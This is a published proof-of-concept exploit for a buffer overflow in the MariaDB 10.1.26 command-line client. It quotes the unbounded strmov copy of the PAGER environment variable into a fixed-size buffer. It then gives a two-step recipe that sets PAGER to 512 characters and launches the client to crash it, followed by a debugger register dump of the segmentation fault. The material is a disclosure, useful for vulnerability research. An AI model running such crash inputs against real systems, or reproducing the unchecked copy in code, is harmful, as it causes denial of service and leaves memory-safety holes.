# Exploit Title: MariaDB Client 10.1.26 - Denial of Service (PoC)
# Google Dork: None
# Date: 2018-11-16
# Exploit Author: strider
# Software Link: https://github.com/MariaDB/server
# Version: mysql  Ver 15.1 Distrib 10.1.26-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2
# Tested on: Debian 9 Stretch x64 / Ubuntu 18.04 x86_64
# CVE : None

# Description:
# MariaDB uses environment variables. The PAGER variable is vulnerable to a bufferoverflow.
# If the environment variable PAGER is greater or equals 512 characters it will crash and make client unusable.

# This is caused by a the function strmov which takes all from source and copy that 
# into destination which have a fixed size.

Codepart:
static char default_pager[FN_REFLEN];

char *tmp=getenv("PAGER");
if (tmp && strlen(tmp))
{
	default_pager_set= 1;
	strmov(default_pager, tmp);
}


Proof of Concept:

Step 1:

export PAGER=$(python -c "print '\x41' * 512")

Step 2:

mariadb -u user -p

Crash

---------------------------------------------------------------------
peda output:

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x555555b73600 ('A' <repeats 200 times>...)
RBX: 0x555555b7cbc8 ('A' <repeats 200 times>...)
RCX: 0x70 ('p')
RDX: 0x0 
RSI: 0x555555bafe40 ('A' <repeats 200 times>...)
RDI: 0x555555bb0040 
RBP: 0x7fffffffdfa0 --> 0x555555639a80 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdd48 --> 0x55555558e5bc (<main+620>:	mov    rax,QWORD PTR [r12])
RIP: 0x7ffff677e2e6 (<__strcpy_sse2_unaligned+374>:	movdqu XMMWORD PTR [rdi-0x40],xmm4)
R8 : 0x555555b92580 ('A' <repeats 200 times>...)
R9 : 0x20 (' ')
R10: 0x7fffffffa5a0 --> 0x7fffffffa5d0 --> 0x7fffffffdb80 --> 0x7fffffffdc10 --> 0x0 
R11: 0x7ffff6846d68 --> 0xfff37778fff37768 
R12: 0x555555b00bc0 --> 0x555555b00b80 --> 0x40000000 ('')
R13: 0x7ffff6a846e8 --> 0x7ffff6a84600 --> 0xfbad2084 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)